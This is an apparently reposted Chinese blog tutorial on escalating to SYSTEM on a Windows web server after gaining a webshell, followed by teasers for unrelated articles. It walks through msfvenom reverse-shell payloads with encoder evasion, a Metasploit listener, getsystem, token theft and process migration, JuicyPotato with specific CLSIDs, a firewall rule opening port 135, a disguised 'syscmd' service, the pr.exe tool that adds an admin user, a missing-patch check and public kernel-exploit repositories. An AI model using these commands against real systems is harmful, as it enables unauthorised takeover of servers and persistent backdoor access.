提权 | Windows系统

news2024/11/29 3:55:40

文章目录

  • cmd提权
  • meterpreter提权
    • getsystem
    • steal_token
    • migrate
  • 令牌窃取(MS16-075)
    • 烂土豆提权步骤
    • 烂土豆提权原理
  • sc命令提权
  • 抓本地密码提权
  • 其他工具
    • pr工具
  • 内核提权
    • WindowsVulScan

cmd提权

前言:我们getshell一个用windows部署的网站后,通过蚁剑或者其他工具进行连接的时候通常权限是不够的,执行简单的dir指令都会被拒绝访问,那么这时候其实就可以通过上传一个cmd直接进行提权,可以执行一些简单的命令而不至于一个指令都无法执行。

由于windows的iis网站部署使用的用户是windows指派的iuser用户,iuser没有cmd的使用权限,所以无法执行指令。

  • 假设我们已经把木马放到了windows服务端上,通过蚁剑或者菜刀等等工具进行连接。如果能够访问到c盘的目录那就直接下载下来,然后通过iuser用户上传到网站目录中,如果不可以那就使用上传文件功能上传一个cmd.exe,最好是和他windows系统版本匹配的cmd。在这里插入图片描述
    上传cmd程序到网站目录下
    在这里插入图片描述
  • 在网站目录下右键打开菜刀的虚拟虚拟终端,设置好我们要使用的cmd.exe程序。
    注(在使用菜刀中):需要在该网站目录下打开虚拟终端,不要去连接列表项处右键,否则会出现连dir都无法执行的情况,起码你在网站根目录下右键进入的权限还是个iuser用户能够执行简单指令。
setp c:\wwwtest\1111\cmd.exe

设置完成之后就可以进行一些指令操作了,
但是很遗憾的是我们whoami出来的用户依旧是windows指派给iis的iuser用户,
这里的network service就是指iuser用户。
比如我们无法进行用户的添加。

在这里插入图片描述
这时候就需要利用windows的一些系统漏洞了,查看windows服务端有哪些往年爆出来的漏洞但是他没有打补丁。

meterpreter提权

这里使用meterpreter的前提是你在本机使用监听器监听端口,然后把提前生成的这个木马文件让目标机点击运行了,监听器连接上session会话即可使用meterpreter进行后渗透工作。

这里简单介绍两个指令:

#以下指令中的木马文件生成路径都是可以修改的,不要过于死板
#里面的yourip是攻击机的ip,因为客户机要通过木马连接你
> msfvenom -p windows/meterpreter/reverse_tcp lhost=yourip lport=5000 -f exe -o /root/happy.exe 
> msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=yourip LPORT=4444 -f exe > abc.exe

在这里插入图片描述
到这里先别直接让目标机运行起来,而是需要我们在metasploit中开启监听器,再让目标机运行木马连接我们。

use exploit/multi/handler  //使用msf的监听模块
set lhost 192.168.100.120  //设置好监听器的ip地址,我这里就是kali主机ip地址
run  //run就直接运行了,正在监听中(也可以使用exploit指令)

切记,use之后一定要切换payload,不要使用默认的,不然我们上面的payload生成木马指令对应不上就连接不上了(因为我后面就是出现这个原因导致回来写这句话)
在这里插入图片描述
设置payload

set payload windows/meterpreter/reverse_tcp

在这里插入图片描述

设置参数,然后run就是开始监听了
在这里插入图片描述
将木马文件传到目标机器上,让其运行起来

菜刀上传

在这里插入图片描述
菜刀命令行运行起来
在这里插入图片描述
但是没关系,只要运行起来了, 就能看到我们的meterpreter成功拿下主机
在这里插入图片描述

meterpreter下提权指令,这里介绍几个,我们上面使用whoami还是iuser用户,所以还没达到提权的目的。

getsystem #直接升至system权限
migrate 进程号    #需要你找到高权限的进程,然后迁移至他的pid实现提权

getsystem

用法:getsystem

msf拿到shell后进入meterpreter,直接输入getsystem即可尝试提权。
在这里插入图片描述

steal_token

用法:steal_token PID

窃取system权限开启进程的用户的令牌,一般是找system用户,拿system权限开启的进程的token令牌提权,是否成功可以通过getuid来查看是否为system权限

migrate

进程迁移提权

migrate 进程号用法如下

  • 首先使用ps查看哪些进程被较高用户权限开启的进程,原理是通过该指令将他的权限移植到我们自己这里来。
  • 比如下面的336,是system开启的,我们就可以尝试将他的权限移植给我们
    在这里插入图片描述
    耐心等待一下
    在这里插入图片描述
    在这里插入图片描述
    成功移植,如果有时候getsystem不好使可以尝试一下这个。

令牌窃取(MS16-075)

百度网盘分享工具:
https://pan.baidu.com/s/1u-9f1_kRjfhjfmG6qV5ThQ?pwd=ws5x

烂土豆提权步骤

1.查看是否符合提权条件

whoami /all 或 whoami /priv

如果`SeImpersonate` or `SeAssignPrimaryToken` 两个权限其中有一个开启了即可提权,都关闭即不符合条件

2.去CLSID目录下查找CLSID

执行命令:
Powershell -ep bypass -f GetCLSID.ps1 > CLSID.list

目录下的GetCLSID.ps1和GetCLSID2.ps1 都能用,
如果GetCLSID.ps1用不了就用`GetCLSID2.ps1`,
而且我一般都用`GetCLSID2.ps1`
输出到CLSID.list文件中,是为了后续测试CLSID是否能用做铺垫

在这里插入图片描述

3.测试可用的CLSID,bat文件在juicy-potato\Test\test_clsid.bat

上一步使用Powershell -ep bypass -f GetCLSID.ps1执行出来的内容输出到文件CLSID.list里面
然后把`JuicyPotato.exe``CLSID.list``test_clsid.bat`三个文件在同一目录即可
接着直接运行窗口运行test_clsid.bat即可看到哪些可以用的CLSID了

在这里插入图片描述

4.接着就可以使用烂土豆exe程序了
这里用哪个CLSID的话就要打开看log文件,后面会对应着这个CLSID用户(选择SYSTEM的就提权为SYSTEM权限)
在这里插入图片描述

比如我们选择第一个CLSID
JuicyPotato.exe -t * -p c:\windows\system32\cmd.exe -l 1155 -c {000C101C-0000-0000-C000-000000000046}


-t *表示-t t 或者-t u都可以,*代表SeImpersonate和SeAssignPrimaryToken随便开一个即可,
另外`-t t`代表`SeImpersonate`,而`-t u`代表`SeAssignPrimaryToken`,所以还是跟着官方教程直接使用*即可
他的教程也有说`-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both`
-p指定cmd路径,这里就是要以system权限启动的程序,待会拿到cmd执行whoami的时候就是system权限了(桌面弹新cmd窗口)
-l指定一个没有被系统使用的端口,没有固定值
-c指定可用的CLSID

5.细节:还要注意查看RPC默认端口是否为135 && 注意防火墙是否允许是否允许RPC端口入站

端口问题:
RPC默认端口是否为135,如果不是的话就需要修改,只修要添加-n参数指定端口即可
比如:`JuicyPotato.exe -n 111 -t * -p c:\windows\system32\cmd.exe -l 1155 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}`


防火墙问题:注意端口号,如果不是135自己修改 localport=135 的值即可
netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow

6.提权成功会在桌面弹出一个system权限的cmd窗口
但是我这里没找到合适的虚拟机器,也就是说SeImpersonate or SeAssignPrimaryToken 两个权限都没有开,所以失败了
如果成功的话是会弹出一个CLSID对应用户权限的cmd窗口
在这里插入图片描述

烂土豆提权原理

COM对象即LocalService,而LocalService用户默认具有SeImpersonate和SeAssignPrimaryToken权限
- 开启SeImpersonate权限后,能够在调用CreateProcessWithToken时,传入新的Token创建新的进程
- 开启SeAssignPrimaryToken权限后,能够在调用CreateProcessAsUser时,传入新的Token创建新的进程

下面就是认证替换数据获取system权限原理
1、尝试加载COM,发出请求,你发起的这个请求加载的com的权限为System。这里的COM对象可以查到CLSID看用户是什么权限的用户,所以这也就是为什么我们提权前需要用对应为system权限的CLSID
2.上一步的发起加载COM主要是为了拿到回应步骤1的请求的这个数据,这里会回应然后发起NTLM认证,但是很明显你不是system权限,所以无法认证认证成功。(目的达到了,拿到请求system权限回应过来的NTLM数据)
3.针对本地端口,同样发起NTLM认证,权限为当前用户,这里肯定会认证成功,所以拿到认证成功的NTLM认证的数据
4.分别拦截两个NTLM认证的数据包,通过NTLM重放使得(权限为System)的NTLM认证通过,然后拿到system的token数据。(越权漏洞)
5.拿着system权限的token启动程序,创建出来的进程就是system权限了,比如cmd

sc命令提权

针对版本windows 7、8、03、08、12、16

这种通常需要直接远程主机或者比较强的反弹shell中使用才行

这种方式是通过创建服务的方式进行提权,不过使用webshell比较弱的连接方式是无法做到在连接器中进行提权,所以这里演示的是直接在目标机中直接使用命令进行提权。

Administrator不是最高的权限,system才是,所以我们在Administrator中也能够体现出提权效果。

如下:

首先打开cmd终端,现在属于Administrator用户,现在要提权为system权限。

命令
添加服务:sc Create syscmd binPath= "cmd /K start" type= own type= interact
执行服务:sc start syscmd

syscmd在添加服务的时候可以定义服务名称,执行服务的时候也是用这个名称,为了具有迷惑性,所以我一般选择syscmd等等其他名字也可以。
执行服务后会自动弹出另一个dos窗口,而不是在本窗口中,这也是webshell用不了的原因。webshell太拉了。

在这里插入图片描述

抓本地密码提权

这里要是能抓到管理员的密码登录也是提权的一种方式,在内网渗透中有提到本地密码提取,但是你要用工具拿密码的一般都需要高权限,我们现在就处于低权限,所以比较
内网渗透-内网信息收集(一):
https://blog.csdn.net/weixin_60521036/article/details/142964820

其他工具

工具有很多,pr、巴西烤肉、iis6等等。这里就介绍pr提权。

pr工具

主要适用于‌Windows Server 2003‌和‌Windows XP‌系统‌

这里演示一个pr和一个pr免参数的debug.exe,我们丢到靶机上面试试,提权工具在github上搜就能搜到。
在这里插入图片描述
上传成功后,打开虚拟终端,在上传文件目录下 直接运行该程序即可 。运行成功后可以看到他运行了哪些指令,其实这个一看就知道是默认创建了一个temp用户名,密码是123456,然后将用户添加到了管理员用户组中,那么我们就可以拿着这个用户去远程连接这个目标机了
在这里插入图片描述
如果想指定用户名和密码的就是用pr.exe上传过去使用,用法是:pr.exe "net user uname passwd /add" , 用法其实就是windows正常创建用户的指令语法,只不过是将参数传到pr.exe中让他帮你创建,注意,这里依旧是帮你自动添加到管理员用户组,你可以net user查看一下用户组成员。

那么问题来了,既然pr.exe可以帮我们执行创建用户和添加用户组行为,那是不是也可以执行其他操作??对的!!

pr.exe "指令写在这就会按照system用户帮你执行"

如下所示:(这里提前将pr.exe上传过去目标机了)
在这里插入图片描述

内核提权

一般我还是用内核提权居多。

微软官方公布的漏洞编码号:https://learn.microsoft.com/zh-cn/security-updates/securitybulletins/2017/securitybulletins2017

快速查找未安装的补丁cmd指令:

systeminfo > micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt

指令输入后看到很多补丁没有打的话,补丁上面对应的这些漏洞都可以尝试一下。

拿着没有打的漏洞补丁去github上看对应的提权工具:https://github.com/SecWiki/windows-kernel-exploits

在这里插入图片描述
对应的exp推荐以下的链接地址,但是都是目前已公布的,未公布的谁也不敢发。

已对外公开exp注:
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation

在这里插入图片描述
exp有直接的exe运行程序的话就可以把这个exe程序丢到目标机上,让目标机运行

在这里插入图片描述
下面还有对应的使用方法,一般都是使用msf来连接控制目标机的。

在这里插入图片描述

WindowsVulScan

还可以通过WindowsVulScan工具来收集可打的漏洞

1.将KBCollect.ps1文件放到目标主机上

2.在cmd输入powershell,然后运行.\KBCollect.ps1

3.若是由于权限报错,下面方法可以解决
====================第一种方法=========================
​	输入:get-ExecutionPolicy
 	(此时会输出得到:Resticted)
​	输入:Set-ExecutionPolicy-Scope CurrentUser
​	输入:RemoteSigned
​	验证是否解决问题,输入:get-ExecutionPolicy
 	(此时返回RemoteSigned的话问题得到解决)
======================================================
====================第一种方法=========================
解决办法:(参考文章:https://ligowi.github.io/2021/02/04/RemoteSigned%E9%97%AE%E9%A2%98/)
1》Windows+R;
2》输入PowerShel l;
3》运行 “Set-ExecutionPolicy -Scope CurrentUser”;
4》出现ExecutionPolicy: ,填入RemoteSigned;
5》输入Y
6》关闭PowerShel ,然后执行get-ExecutionPolicy,发现变成了RemoteSigned,就成功了。
======================================================
4.继续运行.\KBCollect.ps1会生成补丁检测包KB.json

5.把补丁检测包放到我们的物理机上

6.运行python cve-check.py -C -f KB.json

接着就去github漏洞库找到对应的漏洞去提权即可,下面是漏洞库

漏洞库:https://github.com/nomi-sec/PoC-in-GitHub

ps1脚本放到目标机器上使用powershell执行,报错后我这里使用了第二种方式最后才成功执行脚本,报错第二种解决方法在上面有写这里省略了,直接看执行结果。
在这里插入图片描述
然后按照步骤将KB.json文件或者内容在脚本中执行
在这里插入图片描述

python cve-check.py -C -f KB.json

结果出来后就可以看到哪些漏洞可以打,然后去漏洞库找exp就行了
在这里插入图片描述

END.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2222204.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ESP32 S3 语音识别 语音唤醒程序流程

ESP32 S3 语音识别 语音唤醒程序流程 参考例程首先进行esp_periph_set_init 初始化之后执行setup_player&#xff0c;之后执行start_recorder&#xff0c;识别的主处理voice_read_task 参考例程 D:\Espressif\esp-adf\examples\speech_recognition\wwe\ 首先进行esp_periph_se…

零知识学习WLAN漫游二、无线漫游介绍(2)

接前一篇文章&#xff1a;零知识学习WLAN漫游一、无线漫游介绍&#xff08;1&#xff09; 本文内容参考&#xff1a; WLAN漫游简介_漫游主动性-CSDN博客 无线漫游_百度百科 无线漫游简述-CSDN博客 特此致谢&#xff01; 一、WLAN漫游简介 3. 漫游协议和快速漫游协议 802.…

算法的学习笔记—数字在排序数组中出现的次数(牛客JZ53)

&#x1f600;前言 在编程中&#xff0c;查找有序数组中特定元素的出现次数是一个常见的问题。本文将详细讲解这个问题的解决方案&#xff0c;并通过二分查找法优化效率。 &#x1f3e0;个人主页&#xff1a;尘觉主页 文章目录 &#x1f970;数字在排序数组中出现的次数&#x…

九、pico+Unity交互开发——触碰抓取

一、VR交互的类型 Hover&#xff08;悬停&#xff09; 定义&#xff1a;发起交互的对象停留在可交互对象的交互区域。例如&#xff0c;当手触摸到物品表面&#xff08;可交互区域&#xff09;时&#xff0c;视为触发了Hover。 Grab&#xff08;抓取&#xff09; 概念&#xff…

深入浅出:深度学习模型部署全流程详解

博主简介&#xff1a;努力学习的22级计算机科学与技术本科生一枚&#x1f338;博主主页&#xff1a; Yaoyao2024往期回顾&#xff1a; 【论文精读】PSAD&#xff1a;小样本部件分割揭示工业异常检测的合成逻辑每日一言&#x1f33c;: 生活要有所期待&#xff0c; 否则就如同罩在…

【国潮来袭】华为原生鸿蒙 HarmonyOS NEXT(5.0)正式发布:鸿蒙诞生以来最大升级,碰一碰、小艺圈选重磅上线

在昨日晚间的原生鸿蒙之夜暨华为全场景新品发布会上&#xff0c;华为原生鸿蒙 HarmonyOS NEXT&#xff08;5.0&#xff09;正式发布。 华为官方透露&#xff0c;截至目前&#xff0c;鸿蒙操作系统在中国市场份额占据 Top2 的领先地位&#xff0c;拥有超过 1.1 亿 的代码行和 6…

想让前后端交互更轻松?alovajs了解一下?

作为一个前端开发者&#xff0c;我最近发现了一个超赞的请求库 alovajs&#xff0c;它真的让我眼前一亮&#xff01;说实话&#xff0c;我感觉自己找到了前端开发的新大陆。大家知道&#xff0c;在前端开发中&#xff0c;处理 Client-Server 交互一直是个老大难的问题&#xff…

查缺补漏----用户工作区,系统缓冲区,外设工作最短时间计算

对于下面这一题&#xff0c;分析起来很简单&#xff1a; 答案&#xff1a;C 以上是单缓冲区&#xff0c;补充双缓冲区是什么情况&#xff1a; 1.假设磁盘块与缓冲区大小相同&#xff0c;每个盘块读入缓冲区的时间为15us&#xff0c;由缓冲区送至用户区的时间是5us&#xff0c…

etl-查询错误log日志和oracle删除数据表空间

查看weblogic日志的目录 建立连接ssh root192.168.30.1xx 密码hygd123 找到下面路径中的文件 cd /home/weblogic/Oracle/Middleware/user_projects/domains/base_domain/bapp-logs 查看log日志 tail -f -n 400 Adminservers.log oracle删除表空间&#xff08;切换到dba用户…

Android 13 SystemUI 隐藏下拉快捷面板部分模块(wifi,bt,nfc等)入口

frameworks/base/packages/SystemUI/src/com/android/systemui/qs/tileimpl/QSFactoryImpl.java createTileInternal(tileSpec)方法注释想隐藏的模块即可。

Qt开发-----线程调度

目录 前言 一、Linux下查看进程的情况 二、线程的创建 三、多线程的创建和使用 前言 以下引用内容源自正点原子Qt开发指南文档。 我们写的一个应用程序&#xff0c;应用程序跑起来后一般情况下只有一个线程&#xff0c;但是可能也有特殊情况。比如我们前面章节写的例程都跑…

《YOLO目标检测》—— YOLOv1 详细介绍

文章目录 一、算法特点二、网络结构三、检测过程四、损失函数五、性能表现六、优缺点 YOLO v1&#xff08;You Only Look Once version 1&#xff09;是一种快速的目标检测算法&#xff0c;以下是对YOLO v1的详细介绍&#xff1a; 一、算法特点 端到端的网络结构&#xff1a;Y…

项目:Boost 搜索引擎

项目&#xff1a;Boost 搜索引擎 1、项目背景 公司&#xff1a;百度、360、搜狗、谷歌 …站内搜索&#xff1a;搜索的数据更垂直&#xff08;相关&#xff09;&#xff0c;数据量小 2、整体框架 3、技术栈和项目环境 技术栈&#xff1a;C/C C11&#xff0c;STL&#xff0c;jso…

【JAVA毕设】基于JAVA的仓库管理系统

一、项目介绍 本系统前端框架采用了比较流行的渐进式JavaScript框架Vue.js。使用Vue-Router实现动态路由&#xff0c;Ajax实现前后端通信&#xff0c;Element-plus组件库使页面快速成型。后端部分&#xff1a;采用SpringBoot作为开发框架&#xff0c;同时集成MyBatis、Redis、…

C#中的LINQ之美:优雅的数据查询与操作

LINQ&#xff08;Language Integrated Query&#xff0c;语言集成查询&#xff09;是C#中一个强大的工具&#xff0c;它将查询功能直接融入到语言中&#xff0c;使开发者能够以一种更直观、更接近自然语言的方式来操作数据。LINQ不仅能极大地提高开发效率&#xff0c;而且让代码…

掌握ElasticSearch(五):查询和过滤器

一、查询和过滤器的区别 在 Elasticsearch 中&#xff0c;查询&#xff08;Query&#xff09;和过滤器&#xff08;Filter&#xff09;是用于检索和筛选数据的重要组成部分。它们虽然都能用来查找文档&#xff0c;但在性能和用法上有所不同。下面详细介绍查询和过滤器的概念以…

Lucas带你手撕机器学习——K近邻

K近邻 (K-Nearest Neighbor KNN) K近邻算法&#xff08;K-Nearest Neighbors, KNN&#xff09;是一种简单直观的机器学习算法&#xff0c;适用于分类和回归问题。它的核心思想是&#xff1a;判断一个数据点的类别或预测值时&#xff0c;参考它在特征空间中最近的 KKK 个数据点…

【2024】【字节青训营】:字节青训营入营测试题——Java版本(已提交通过)

目录 简单题目 计算x到y的最小步数 环状 DNA 序列的最小表示法 Base32 解码和编码 打点计时器 兔群繁殖之谜 完美整数 找出整数数组中占比超过 一半 的数 找出最长的神奇数列 找单独的数 字符串最短循环字串 二进制反码转换问题 中等题目 简单四则运算 数字翻译…

什么是微服务中的反应性扩展?

大家好&#xff0c;我是锋哥。今天分享关于【什么是微服务中的反应性扩展&#xff1f;】面试题&#xff1f;希望对大家有帮助&#xff1b; 什么是微服务中的反应性扩展&#xff1f; Reactive Extensions 也称为 Rx。这是一种设计方法&#xff0c;我们通过调用多个服务来收集结果…

STM32G474使用TIM2触发DAC输出输出正弦波

STM32G474使用TIM2触发DAC输出&#xff0c;数据从内存到外设就要使用DMA来协助。DAC1每隔1秒输出一个正弦波数据&#xff0c;就会模拟近似得到模拟的正弦波形。用来测试CPU内部的运算放大器&#xff0c;或者用作其它模拟输入信号。 测试程序如下&#xff1a; #include "…